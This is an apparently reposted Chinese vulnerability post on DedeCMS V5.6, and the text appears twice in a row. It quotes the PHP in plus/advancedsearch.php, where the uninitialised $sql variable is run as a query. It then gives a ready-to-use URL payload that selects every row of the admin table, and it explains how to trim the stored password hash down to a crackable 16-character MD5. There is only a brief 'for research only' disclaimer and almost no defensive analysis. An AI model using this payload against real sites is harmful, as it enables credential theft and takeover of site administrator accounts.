DedeCms V5.6漏洞 變量未初始化 導(dǎo)致雞助漏洞
發(fā)布日期：2022-01-30 19:49 | 文章來(lái)源：站長(zhǎng)之家
漏洞描述:
健壯的模板標(biāo)簽為站長(zhǎng)DIY 自己的網(wǎng)站提供了強(qiáng)有力的支持。高效率標(biāo)簽緩存機(jī)制：允許對(duì)類(lèi)同的標(biāo)簽進(jìn)行緩存，在生成 HTML的時(shí)候，有利于提高系統(tǒng)反應(yīng)速度，降低系統(tǒng)消耗的資源。模型與模塊概念并存：在模型不能滿足用戶所有需求的情況下，DedeCMS推出一些互動(dòng)的模塊對(duì)系統(tǒng)進(jìn)行補(bǔ)充，盡量滿足用戶的需求。
plus/advancedsearch.php
$sql 變量未初始化。導(dǎo)致雞助漏洞
if($mid == 0) //必須繞過(guò)。
{
showmsg('參數(shù)不正確，高級(jí)自定義搜索必須指定模型id', 'javascript');
exit();
}
$query = "select maintable, mainfields, addontable, addonfields, template from dede_advancedsearch where mid='$mid'";
$searchinfo = $dsql->GetOne($query);
if(!is_array($searchinfo)) //囧啊，繞過(guò)有難度。
{
showmsg('自定義搜索模型不存在','-1'); exit();
}
$template = $searchinfo['template'] != '' ? $searchinfo['template'] : 'advancedsearch.htm';
if(empty($sql)) //人品問(wèn)題，成功繞過(guò)！{
..............
}else{
$sql = urldecode($sql);
$query = $sql;
}
$sql = urlencode($sql);
$dlist = new DataListCP();
$dlist->pageSize = 20;
$dlist->SetParameter("sql", $sql);
$dlist->SetParameter("mid", $mid);
...............
$dlist->SetTemplate($templatefile);
$dlist->SetSource($query);
.............<*參考
*>
測(cè)試方法:
本站提供程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用,風(fēng)險(xiǎn)自負(fù)!
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密碼是32位MD5減去頭5位，減去尾七位，得到20 MD5密碼，方法是，前減3后減1，得到16位MD5
健壯的模板標(biāo)簽為站長(zhǎng)DIY 自己的網(wǎng)站提供了強(qiáng)有力的支持。高效率標(biāo)簽緩存機(jī)制：允許對(duì)類(lèi)同的標(biāo)簽進(jìn)行緩存，在生成 HTML的時(shí)候，有利于提高系統(tǒng)反應(yīng)速度，降低系統(tǒng)消耗的資源。模型與模塊概念并存：在模型不能滿足用戶所有需求的情況下，DedeCMS推出一些互動(dòng)的模塊對(duì)系統(tǒng)進(jìn)行補(bǔ)充，盡量滿足用戶的需求。
plus/advancedsearch.php
$sql 變量未初始化。導(dǎo)致雞助漏洞
復(fù)制代碼
代碼如下:if($mid == 0) //必須繞過(guò)。
{
showmsg('參數(shù)不正確，高級(jí)自定義搜索必須指定模型id', 'javascript');
exit();
}
$query = "select maintable, mainfields, addontable, addonfields, template from dede_advancedsearch where mid='$mid'";
$searchinfo = $dsql->GetOne($query);
if(!is_array($searchinfo)) //囧啊，繞過(guò)有難度。
{
showmsg('自定義搜索模型不存在','-1'); exit();
}
$template = $searchinfo['template'] != '' ? $searchinfo['template'] : 'advancedsearch.htm';
if(empty($sql)) //人品問(wèn)題，成功繞過(guò)！{
..............
}else{
$sql = urldecode($sql);
$query = $sql;
}
$sql = urlencode($sql);
$dlist = new DataListCP();
$dlist->pageSize = 20;
$dlist->SetParameter("sql", $sql);
$dlist->SetParameter("mid", $mid);
...............
$dlist->SetTemplate($templatefile);
$dlist->SetSource($query);
.............<*參考
*>
測(cè)試方法:
本站提供程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用,風(fēng)險(xiǎn)自負(fù)!
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密碼是32位MD5減去頭5位，減去尾七位，得到20 MD5密碼，方法是，前減3后減1，得到16位MD5
版權(quán)聲明：本站文章來(lái)源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有，歡迎引用、轉(zhuǎn)載，請(qǐng)保持原文完整并注明來(lái)源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站，禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像，否則將依法追究法律責(zé)任。本站部分內(nèi)容來(lái)源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來(lái)，僅供學(xué)習(xí)參考，不代表本站立場(chǎng)，如有內(nèi)容涉嫌侵權(quán)，請(qǐng)聯(lián)系alex-e#qq.com處理。
相關(guān)文章
關(guān)注官方微信